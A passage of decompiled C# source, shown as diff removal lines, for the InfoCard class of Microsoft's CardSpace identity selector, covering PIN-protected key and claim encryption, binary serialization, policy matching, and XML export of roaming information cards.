MemoryStream(singleRow.GetDataField()), connection); - } - return ledgerEntry; - } - - public LedgerEntry CreateLedgerEntry( - Recipient recipient, - string immediateTokenRecipientOrganizationIdentifier) - { - InfoCardTrace.Assert(null != recipient, "A recipient must be specified."); - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "The card identifier must be defined."); - this.m_ledger = new LedgerEntryCollection(this.Id); - } - LedgerEntry entry = LedgerEntry.NewLedgerEntry(this.Id, recipient, this.Key, immediateTokenRecipientOrganizationIdentifier); - this.m_ledger.Add(entry); - return entry; - } - - public void CheckAndUpdateLedgerEntry(LedgerEntry entry, string immediateTokenRecipientOrgId) - { - if (!entry.CheckAndUpdateSubjectKey(immediateTokenRecipientOrgId, this.Key)) - return; - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.Id, "The card identifier must be defined."); - this.m_ledger = new LedgerEntryCollection(this.Id); - } - if (this.m_ledger.ContainsKey(entry.Recipient.RecipientId)) - this.m_ledger[entry.Recipient.RecipientId] = entry; - else - this.m_ledger.Add(entry); - } - - public byte[] Logo - { - get => this.m_logo; - set => this.m_logo = value; - } - - public string LogoMimeType - { - get => this.m_mimeType; - set => this.m_mimeType = value; - } - - public string Name - { - get => this.m_name; - set => this.m_name = value; - } - - public DateTime LastUpdate - { - get => this.m_lastUpdate; - set => this.m_lastUpdate = value; - } - - public int BackgroundColor - { - get => this.m_backgroundColor; - set => this.m_backgroundColor = value; - } - - public byte[] HashSalt - { - set => this.m_salt = value; - get => this.m_salt; - } - - public string[] SupportedClaimTypes - { - get - { - List stringList = new List(); - foreach (string key in this.GetClaims().Keys) - { - if (!this.IsSelfIssued || !string.IsNullOrEmpty(this.GetClaims()[key].Value)) - stringList.Add(key); - } - return stringList.ToArray(); - } - } - - public bool IsImported - { - set => this.m_isImported = value; - } - - public DateTime InstalledOn - { - set => this.m_installedOn = value; - } - - public bool IsPinProtected => this.m_pinHash != null && this.m_pinHash.Length > 0; - - public string Pin => this.m_pin; - - public InfoCardMasterKey GetMasterKey(StoreConnection connection) - { - InfoCardTrace.Assert(null != connection, "Store connection should not be null"); - this.m_masterKey = new InfoCardMasterKey(this.m_id); - this.m_masterKey.Get(connection); - return this.m_masterKey; - } - - public void Decrypt() - { - InfoCardTrace.Assert(null != this.m_masterKey, "The GetMasterKey must be called before using this method."); - PinProtectionHelper pinHelper = this.m_masterKey.GetPinHelper(this.m_pin); - this.m_masterKey.Decrypt(pinHelper); - this.GetClaims().Decrypt(pinHelper); - } - - public byte[] Key => this.m_masterKey != null ? this.m_masterKey.Key : (byte[]) null; - - public void ClearSensitiveData() - { - if (this.m_masterKey == null) - return; - Array.Clear((Array) this.m_masterKey.Key, 0, this.m_masterKey.Key.Length); - } - - public static byte[] GenerateSalt() - { - byte[] data = new byte[16]; - new RNGCryptoServiceProvider().GetBytes(data); - return data; - } - - public void ThrowIfNotComplete() - { - if (!this.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public bool IsComplete() - { - bool flag = !string.IsNullOrEmpty(this.m_language) && (Uri) null != this.m_id && (Uri) null != this.m_issuer && !Utility.ArrayIsNullOrEmpty((Array) this.m_tokenTypes) && this.m_privacyPolicyLink != null && !Utility.ArrayIsNullOrEmpty((Array) this.m_salt) && this.m_epoch > 0U && DateTime.MinValue != this.m_issuedOn && DateTime.MinValue != this.m_expiresOn && DateTime.MinValue != this.m_lastUpdate; - if (!this.IsSelfIssued) - flag = flag && this.CreationParameters.Count > 0 && null != this.m_issuerIdentifierAsBytes; - return flag; - } - - private RSACryptoServiceProvider GetPrivateKeyPairRsaProvider( - string recipientIdentifier) - { - LedgerEntry ledgerEntry = this.TryGetLedgerEntry(this.m_storeConnection, recipientIdentifier); - InfoCardTrace.Assert(null != ledgerEntry, "null ledger"); - RSACryptoServiceProvider keyPairRsaProvider = new RSACryptoServiceProvider(2048); - keyPairRsaProvider.ImportCspBlob(ledgerEntry.SubjectKey); - return keyPairRsaProvider; - } - - public RSACryptoServiceProvider GetPrivateCryptography( - string recipientIdentifier) - { - return this.GetPrivateKeyPairRsaProvider(recipientIdentifier); - } - - public RSACryptoServiceProvider GetPublicCryptography( - string recipientIdentifier) - { - RSACryptoServiceProvider keyPairRsaProvider = this.GetPrivateKeyPairRsaProvider(recipientIdentifier); - keyPairRsaProvider.ImportCspBlob(keyPairRsaProvider.ExportCspBlob(false)); - InfoCardTrace.Assert(keyPairRsaProvider.PublicOnly, "GetPublicCryptography returns a public only rsa"); - return keyPairRsaProvider; - } - - private void Serialize(Stream stream) - { - this.ThrowIfNotComplete(); - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write((byte) 1); - writer.Write(this.m_expiresOn.ToFileTimeUtc()); - writer.Write(this.m_epoch); - Utility.SerializeUri(writer, this.m_id); - writer.Write(this.m_issuedOn.ToFileTimeUtc()); - writer.Write(this.m_isImported); - writer.Write(this.m_installedOn.ToFileTimeUtc()); - writer.Write(this.m_isSelfIssued); - Utility.SerializeUri(writer, this.m_issuer); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeBytes(writer, this.m_issuerIdentifierAsBytes); - Utility.SerializeString(writer, this.m_language); - Utility.SerializeBytes(writer, this.m_logo); - Utility.SerializeString(writer, this.m_mimeType); - Utility.SerializeString(writer, this.m_name); - writer.Write(this.m_lastUpdate.ToFileTimeUtc()); - writer.Write(this.m_backgroundColor); - writer.Write((byte) this.m_requireAppliesTo); - Utility.SerializeString(writer, this.m_privacyPolicyLink); - writer.Write(this.m_privacyPolicyVersion); - Utility.SerializeBytes(writer, this.m_pinHash); - Utility.SerializeBytes(writer, this.m_salt); - writer.Write(this.m_tokenTypes.Length); - for (int index = 0; index < this.m_tokenTypes.Length; ++index) - Utility.SerializeString(writer, this.m_tokenTypes[index]); - writer.Write(this.m_creationParameters == null ? 0 : this.m_creationParameters.Count); - if (this.m_creationParameters != null) - { - for (int index = 0; index < this.m_creationParameters.Count; ++index) - this.m_creationParameters[index].Serialize(writer); - } - Utility.SerializeString(writer, string.Empty); - Utility.SerializeString(writer, string.Empty); - writer.Write((byte) this.m_pinAction); - writer.Write((byte) 29); - } - - public void AgentSerialize( - Stream stream, - bool initCalcAttributesForGetToken, - InfoCardPolicy policy, - StoreConnection storeConnection, - CultureInfo userCulture) - { - this.Serialize(stream); - this.m_storeConnection = storeConnection; - this.GetRPIdentityRequirement().Serialize(stream); - this.GetExtendedInformation().Serialize(stream); - InfoCard.GetIssuerInformation(this.GetExtendedInformation().GetIssuerInformationElement()).Serialize(stream); - InfoCardClaimCollection claims = this.GetClaims(); - if (policy != null && this.IsSelfIssued) - { - CultureInfo currentUiCulture = Thread.CurrentThread.CurrentUICulture; - try - { - Thread.CurrentThread.CurrentUICulture = userCulture; - string ppid = Utility.CreatePpid(Convert.FromBase64String(policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier()), this.m_id); - claims.Add(new InfoCardClaim(InfoCardConstants.PPIDClaimsUri, ppid, InfoCardConstants.ClaimsDescription(InfoCardConstants.PPID), InfoCardConstants.ClaimDisplayTag(InfoCardConstants.PPID))); - } - finally - { - Thread.CurrentThread.CurrentUICulture = currentUiCulture; - } - } - claims.AgentSerialize(stream); - BinaryWriter binaryWriter = new BinaryWriter(stream, Encoding.Unicode); - if (initCalcAttributesForGetToken) - { - binaryWriter.Write(this.DoesCardMatchPolicySet(policy)); - binaryWriter.Write(this.CardMatchesPolicyRequiredIssuer(policy)); - binaryWriter.Write(this.HasCardBeenUsedBefore(policy.Recipient.GetIdentifier(), storeConnection)); - binaryWriter.Write(this.HaveRequestedClaimsChanged(policy, storeConnection)); - binaryWriter.Write(this.WillSendAppliesToInRst(policy)); - binaryWriter.Write(this.DoesCardSupportAnyOptionalClaims(policy)); - binaryWriter.Write(this.DoesCardMatchNonClaimPolicyRequirements(policy)); - } - else - { - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - } - binaryWriter.Flush(); - } - - public void CopyMetaData(InfoCard card) - { - this.m_salt = new byte[card.HashSalt.Length]; - Array.Copy((Array) card.HashSalt, 0, (Array) this.m_salt, 0, card.HashSalt.Length); - this.m_pinHash = new byte[card.m_pinHash.Length]; - Array.Copy((Array) card.m_pinHash, 0, (Array) this.m_pinHash, 0, card.m_pinHash.Length); - } - - private bool DoesCardSupportAnyOptionalClaims(InfoCardPolicy policy) - { - List stringList = new List((IEnumerable) policy.OptionalClaims); - foreach (string key in this.GetClaims().Keys) - { - if (stringList.Contains(key)) - return true; - } - return false; - } - - private bool WillSendAppliesToInRst(InfoCardPolicy policy) - { - AppliesToBehaviorDecision decisionForPolicyMatch = AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForPolicyMatch(policy, this.RequireAppliesto); - return AppliesToBehaviorDecision.SendCustomAppliesTo == decisionForPolicyMatch || AppliesToBehaviorDecision.SendRPAppliesTo == decisionForPolicyMatch; - } - - private void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - this.m_expiresOn = (byte) 1 == reader.ReadByte() ? DateTime.FromFileTimeUtc(reader.ReadInt64()) : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException("ServiceCardWrongVersion")); - this.m_epoch = reader.ReadUInt32(); - this.m_id = new Uri(Utility.DeserializeString(reader)); - this.m_issuedOn = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_isImported = reader.ReadBoolean(); - this.m_installedOn = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_isSelfIssued = reader.ReadBoolean(); - this.m_issuer = Utility.DeserializeUri(reader); - this.m_issuerName = Utility.DeserializeString(reader); - int count1 = reader.ReadInt32(); - this.m_issuerIdentifierAsBytes = reader.ReadBytes(count1); - this.m_language = Utility.DeserializeString(reader); - int count2 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count2 ? 0 : (count2 < 1048576 ? 1 : 0)) != 0, "logo length out of range {0}", (object) count2); - this.m_logo = reader.ReadBytes(count2); - this.m_mimeType = Utility.DeserializeString(reader); - this.m_name = Utility.DeserializeString(reader); - this.m_lastUpdate = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_backgroundColor = reader.ReadInt32(); - this.m_requireAppliesTo = (RequireAppliesToStatus) reader.ReadByte(); - this.m_privacyPolicyLink = Utility.DeserializeString(reader); - this.m_privacyPolicyVersion = reader.ReadUInt32(); - int count3 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count3 ? 0 : (count3 < 1024 ? 1 : 0)) != 0, "pin hash out fo range {0}", (object) count3); - this.m_pinHash = reader.ReadBytes(count3); - int count4 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count4 ? 0 : (count4 < 1024 ? 1 : 0)) != 0, "salt length out of range {0}", (object) count4); - this.m_salt = reader.ReadBytes(count4); - int length = reader.ReadInt32(); - InfoCardTrace.Assert(32 > length, "too many token types"); - this.m_tokenTypes = new string[length]; - for (int index = 0; index < length; ++index) - this.m_tokenTypes[index] = Utility.DeserializeString(reader); - int num = reader.ReadInt32(); - InfoCardTrace.Assert((0 > num ? 0 : (num < 128 ? 1 : 0)) != 0, "creation parametes out of range {0}", (object) num); - for (int index = 0; index < num; ++index) - { - TokenCreationParameter creationParameter = new TokenCreationParameter(); - creationParameter.Deserialize(reader); - this.CreationParameters.Add(creationParameter); - } - this.m_pin = Utility.DeserializeString(reader); - this.m_oldPin = Utility.DeserializeString(reader); - this.m_pinAction = (InfoCard.PinAction) reader.ReadByte(); - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "malformed stream detected"); - this.ThrowIfNotComplete(); - } - - public Dictionary GetClaimsToBeDisclosed( - InfoCardPolicy policy, - bool discloseOptional) - { - Dictionary claimsToBeDisclosed = new Dictionary(policy.RequiredClaims.Length); - for (int index = 0; index < policy.RequiredClaims.Length; ++index) - claimsToBeDisclosed.Add(policy.RequiredClaims[index], false); - if (discloseOptional) - { - for (int index = 0; index < policy.OptionalClaims.Length; ++index) - { - string optionalClaim = policy.OptionalClaims[index]; - if (this.GetClaims().ContainsKey(optionalClaim)) - claimsToBeDisclosed.Add(policy.OptionalClaims[index], true); - } - } - return claimsToBeDisclosed; - } - - public bool DoesCardMatchPolicySet(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "null policy"); - bool flag = true; - List stringList = new List((IEnumerable) this.SupportedClaimTypes); - if (policy.RequiredClaims != null) - { - foreach (string requiredClaim in policy.RequiredClaims) - { - if (!stringList.Contains(requiredClaim) && (!this.IsSelfIssued || !(InfoCardConstants.PPIDClaimsUri == requiredClaim))) - { - flag = false; - break; - } - } - } - return flag && this.DoesCardMatchNonClaimPolicyRequirements(policy); - } - - public bool DoesCardMatchNonClaimPolicyRequirements(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "null policy"); - bool flag1 = true; - if (!this.IsSelfIssued && AppliesToBehaviorDecision.FailMatch == AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForPolicyMatch(policy, this.RequireAppliesto)) - flag1 = false; - bool flag2 = true; - if (this.GetRPIdentityRequirement().StrongIdentityRequired && !(policy.ImmediateTokenRecipient is X509RecipientIdentity)) - flag2 = false; - return (!this.IsSelfIssued || !policy.RequiresManagedCard) && this.CardMatchesPolicyTokenType(policy) && this.CardMatchesPolicyRequiredIssuer(policy) && flag1 && flag2; - } - - public bool HaveRequestedClaimsChanged(InfoCardPolicy policy, StoreConnection connection) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "Null id"); - InfoCardTrace.Assert(null != policy, "null policy"); - InfoCardTrace.Assert(null != connection, "null connection"); - LedgerEntry ledgerEntry = this.TryGetLedgerEntry(connection, policy.Recipient.GetIdentifier()); - if (ledgerEntry == null) - return true; - IList list = (IList) (ledgerEntry.DisclosedClaims ?? new string[0]); - int num1 = 0; - if (policy.RequiredClaims != null) - num1 = policy.RequiredClaims.Length; - if (num1 > list.Count) - return true; - bool flag = true; - foreach (string requiredClaim in policy.RequiredClaims) - { - if (!list.Contains((object) requiredClaim)) - { - flag = false; - break; - } - } - int num2 = flag ? 1 : 0; - return !flag; - } - - private bool CardMatchesPolicyTokenType(InfoCardPolicy policy) - { - if (string.IsNullOrEmpty(policy.OptionalRstParams.TokenType)) - return true; - foreach (string tokenType in this.m_tokenTypes) - { - if (tokenType == policy.OptionalRstParams.TokenType) - return true; - } - return false; - } - - private bool CardMatchesPolicyRequiredIssuer(InfoCardPolicy policy) => (EndpointAddress) null == policy.Issuer || (Uri) null == policy.Issuer.Uri || Utility.CompareUri(policy.Issuer.Uri, XmlNames.WSIdentity.AnonymousIssuerUriValue) || this.m_isSelfIssued && Utility.CompareUri(policy.Issuer.Uri, XmlNames.WSIdentity.SelfIssuerUriValue) || !this.m_isSelfIssued && Utility.CompareUri(policy.Issuer.Uri, this.m_issuer); - - public bool HasCardBeenUsedBefore(string recipientId, StoreConnection connection) => null != connection.GetSingleRow(QueryDetails.Identifiers, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_name", new object[1] - { - (object) recipientId - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - })); - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "null id"); - InfoCardTrace.Assert(null != con, "null connection"); - this.m_storeConnection = con; - DataRow row = this.GetRow(con, QueryDetails.FullRow); - this.Deserialize((Stream) new MemoryStream(row.GetDataField())); - this.m_rowId = row.LocalId; - } - - public void Save(StoreConnection con) - { - this.ThrowIfNotComplete(); - InfoCardTrace.Assert(null != con, "null connection"); - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - bool flag = false; - if (row == null) - { - if (this.m_masterKey == null) - this.m_masterKey = InfoCardMasterKey.NewMasterKey(this.m_id); - flag = true; - row = new DataRow(); - row.ObjectType = 1; - row.GlobalId = GlobalId.DeriveFrom(this.m_id.ToString()); - } - InfoCardClaimCollection cardClaimCollection = (InfoCardClaimCollection) null; - switch (this.m_pinAction) - { - case InfoCard.PinAction.PinSame: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - this.m_claims.Encrypt(this.m_masterKey.GetPinHelper(this.m_pin)); - break; - case InfoCard.PinAction.PinAdded: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - PinProtectionHelper pinHelper1 = new PinProtectionHelper(this.m_pin); - this.m_masterKey.Encrypt(pinHelper1); - this.m_claims.Encrypt(pinHelper1); - flag = true; - break; - case InfoCard.PinAction.PinRemoved: - this.GetMasterKey(con); - this.m_masterKey.Decrypt(this.m_masterKey.GetPinHelper(this.m_oldPin)); - flag = true; - break; - case InfoCard.PinAction.PinChanged: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - this.m_masterKey.Decrypt(this.m_masterKey.GetPinHelper(this.m_oldPin)); - PinProtectionHelper pinHelper2 = new PinProtectionHelper(this.m_pin); - this.m_masterKey.Encrypt(pinHelper2); - this.m_claims.Encrypt(pinHelper2); - flag = true; - break; - } - if (flag) - this.m_masterKey.Save(con); - this.m_pinAction = this.IsPinProtected ? InfoCard.PinAction.PinSame : InfoCard.PinAction.NoPin; - string[] strArray; - if (this.IsSelfIssued) - { - strArray = new string[1] - { - "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self" - }; - } - else - { - strArray = new string[this.CreationParameters.Count]; - int num = 0; - foreach (TokenCreationParameter creationParameter in this.CreationParameters) - strArray[num++] = creationParameter.Epr.Uri.ToString(); - } - row.SetIndexValue("ix_production_svc_uri", (object[]) strArray); - InfoCardTrace.Assert(null != this.m_claims, "Must already be initialized at this point"); - row.SetIndexValue("ix_supportclaim", (object[]) this.SupportedClaimTypes); - if (this.CreationParameters.Count > 0) - { - object[] objArray = new object[this.CreationParameters.Count]; - int num = 0; - foreach (TokenCreationParameter creationParameter in this.CreationParameters) - objArray[num++] = (object) (int) creationParameter.CredentialType; - row.SetIndexValue("ix_supportauth", objArray); - } - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - if (this.m_extendedInformation != null) - this.m_extendedInformation.Save(con); - this.m_claims.Save(con, this.m_isSelfIssued); - if (cardClaimCollection != null) - this.m_claims = cardClaimCollection; - this.GetRPIdentityRequirement().Save(con); - } - - public override string ToString() => base.ToString(); - - public static InfoCard NewCard(CultureInfo userCulture) - { - InfoCard infoCard = new InfoCard(); - infoCard.m_expiresOn = DateTime.MaxValue; - infoCard.m_epoch = 1U; - infoCard.m_id = new Uri("urn:uuid:" + Guid.NewGuid().ToString()); - infoCard.m_issuedOn = DateTime.UtcNow; - infoCard.m_isImported = false; - infoCard.m_installedOn = DateTime.UtcNow; - infoCard.m_isSelfIssued = true; - infoCard.m_issuerName = SR.GetString("SelfIssuedIssuerName"); - infoCard.m_issuer = XmlNames.WSIdentity.SelfIssuerUriValue; - infoCard.m_language = userCulture.TwoLetterISOLanguageName; - infoCard.m_logo = new byte[0]; - infoCard.m_name = (string) null; - infoCard.m_lastUpdate = DateTime.UtcNow; - infoCard.m_backgroundColor = 16777215; - infoCard.m_requireAppliesTo = RequireAppliesToStatus.NotPresent; - infoCard.m_salt = InfoCard.GenerateSalt(); - infoCard.m_tokenTypes = new string[2] - { - "urn:oasis:names:tc:SAML:1.0:assertion", - "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1" - }; - CultureInfo currentUiCulture = Thread.CurrentThread.CurrentUICulture; - try - { - Thread.CurrentThread.CurrentUICulture = userCulture; - for (int index = 0; index < InfoCardConstants.SelfIssuedClaimsUris.Length; ++index) - { - InfoCardClaim claim = new InfoCardClaim(InfoCardConstants.SelfIssuedClaimsUris[index], (string) null, InfoCardConstants.ClaimsDescription(InfoCardConstants.SelfIssuedClaimsUris[index]), InfoCardConstants.ClaimDisplayTag(InfoCardConstants.SelfIssuedClaimsUris[index])); - infoCard.AddClaim(claim); - } - } - finally - { - Thread.CurrentThread.CurrentUICulture = currentUiCulture; - } - InfoCardTrace.Assert(null == infoCard.m_masterKey, "Card key is only populated during save"); - return infoCard; - } - - protected DataRow GetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert(null != con, " null connection"); - DataRow row = this.TryGetRow(con, details); - InfoCardTrace.Assert(null != row, "null row"); - InfoCardTrace.Assert((1 == row.ObjectType ? 1 : 0) != 0, "Attempt to deserialize an incorrect object type {0}", (object) row.ObjectType); - return row; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "null id"); - InfoCardTrace.Assert(null != con, "null connection"); - return con.GetSingleRow(details, new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - })); - } - - public void ReadXml(XmlReader reader) - { - if ("RoamingInformationCard" == reader.LocalName) - this.ReadRoamingInfoCard(reader); - else if ("InformationCard" == reader.LocalName) - this.ReadImportedInfoCard(reader); - else - InfoCardTrace.Assert(false, "Invalid element found. Did schema validation fail? Found {0}", (object) reader.LocalName); - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - this.ThrowIfNotComplete(); - writer.WriteStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("InformationCardMetaData", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("lang", "http://www.w3.org/XML/1998/namespace", this.m_language); - writer.WriteStartElement("InformationCardReference", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("CardId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_id.AbsoluteUri); - writer.WriteEndElement(); - writer.WriteStartElement("CardVersion", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_epoch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - writer.WriteEndElement(); - writer.WriteEndElement(); - if (!string.IsNullOrEmpty(this.m_name)) - { - writer.WriteStartElement("CardName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_name); - writer.WriteEndElement(); - } - if (this.m_logo != null && this.m_logo.Length != 0) - { - writer.WriteStartElement("CardImage", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_mimeType)) - writer.WriteAttributeString("MimeType", this.m_mimeType); - string base64String = Convert.ToBase64String(this.m_logo); - writer.WriteString(base64String); - writer.WriteEndElement(); - } - writer.WriteStartElement("Issuer", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if ((Uri) null != this.m_issuer) - writer.WriteString(this.m_issuer.AbsoluteUri); - writer.WriteEndElement(); - writer.WriteStartElement("TimeIssued", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_issuedOn, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - writer.WriteStartElement("TimeExpires", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_expiresOn, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - if (this.m_creationParameters != null) - { - writer.WriteStartElement("TokenServiceList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (TokenCreationParameter creationParameter in this.m_creationParameters) - creationParameter.WriteXml(writer); - writer.WriteEndElement(); - } - writer.WriteStartElement("SupportedTokenTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string tokenType in this.m_tokenTypes) - writer.WriteElementString("TokenType", "http://schemas.xmlsoap.org/ws/2005/02/trust", tokenType); - writer.WriteEndElement(); - writer.WriteStartElement("SupportedClaimTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string key in this.GetClaims().Keys) - { - InfoCardClaim claim = this.GetClaims()[key]; - if (!this.m_isSelfIssued || !Utility.CompareUri(claim.Id, InfoCardConstants.PPIDClaimsUri)) - { - writer.WriteStartElement("SupportedClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("Uri", claim.Id); - if (!string.IsNullOrEmpty(claim.DisplayTag)) - writer.WriteElementString("DisplayTag", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.DisplayTag); - if (!string.IsNullOrEmpty(claim.Description)) - writer.WriteElementString("Description", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.Description); - writer.WriteEndElement(); - } - } - writer.WriteEndElement(); - if (this.m_requireAppliesTo != RequireAppliesToStatus.NotPresent) - { - writer.WriteStartElement("RequireAppliesTo", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (RequireAppliesToStatus.Optional == this.m_requireAppliesTo) - writer.WriteAttributeString("Optional", "true"); - writer.WriteEndElement(); - } - if (!string.IsNullOrEmpty(this.m_privacyPolicyLink)) - { - writer.WriteStartElement("PrivacyNotice", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (0U < this.m_privacyPolicyVersion) - writer.WriteAttributeString("Version", this.m_privacyPolicyVersion.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - writer.WriteString(this.m_privacyPolicyLink); - writer.WriteEndElement(); - } - if (this.GetRPIdentityRequirement().StrongIdentityRequired) - { - writer.WriteStartElement("RequireStrongRecipientIdentity", "http://schemas.xmlsoap.org/ws/2007/01/identity"); - writer.WriteEndElement(); - } - if (this.GetExtendedInformation() != null) - { - foreach (InfocardExtendedInformationEntry informationEntry in (List) this.m_extendedInformation) - informationEntry.WriteXml(writer); - } - writer.WriteStartElement("IsSelfIssued", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_isSelfIssued)); - writer.WriteEndElement(); - if (!Utility.ArrayIsNullOrEmpty((Array) this.m_pinHash)) - { - writer.WriteStartElement("PinDigest", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_pinHash)); - writer.WriteEndElement(); - } - writer.WriteStartElement("HashSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_salt)); - writer.WriteEndElement(); - writer.WriteStartElement("TimeLastUpdated", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_lastUpdate, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - writer.WriteStartElement("IssuerId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_issuerIdentifierAsBytes != null) - writer.WriteString(Convert.ToBase64String(this.m_issuerIdentifierAsBytes, Base64FormattingOptions.None)); - writer.WriteEndElement(); - writer.WriteStartElement("IssuerName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_issuerName)) - writer.WriteString(this.m_issuerName); - writer.WriteEndElement(); - writer.WriteStartElement("BackgroundColor", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_backgroundColor)); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteStartElement("InformationCardPrivateData", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - InfoCardTrace.Assert(null != this.m_masterKey, "Masterkey Cannot be null when trying to export a card"); - writer.WriteStartElement("MasterKey", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_masterKey.Key)); - writer.WriteEndElement(); - if (this.IsSelfIssued) - { - writer.WriteStartElement("ClaimValueList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string key in this.GetClaims().Keys) - { - InfoCardClaim claim = this.GetClaims()[key]; - if (!Utility.CompareUri(claim.Id, InfoCardConstants.PPIDClaimsUri)) - { - writer.WriteStartElement("ClaimValue", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("Uri", claim.Id); - if (!string.IsNullOrEmpty(claim.Value)) - writer.WriteElementString("Value", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.Value); - else - writer.WriteElementString("Value", "http://schemas.xmlsoap.org/ws/2005/05/identity", string.Empty); - writer.WriteEndElement(); - } - } - writer.WriteEndElement(); - } - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - private void ReadImportedInfoCard(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - this.Language = reader.IsStartElement("InformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.GetAttribute("lang", "http://www.w3.org/XML/1998/namespace") : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (string.IsNullOrEmpty(this.Language)) - this.Language = reader.GetAttribute("lang"); - reader.ReadStartElement(); - this.ReadBaseInfoCard(reader); - if (!this.IsSelfIssued && Utility.CompareUri(this.m_issuer, XmlNames.WSIdentity.SelfIssuerUriValue)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("SelfIssuedUriUsed"))); - if (this.m_extendedInformation != null) - return; - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - } - - private void ReadRoamingInfoCard(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new 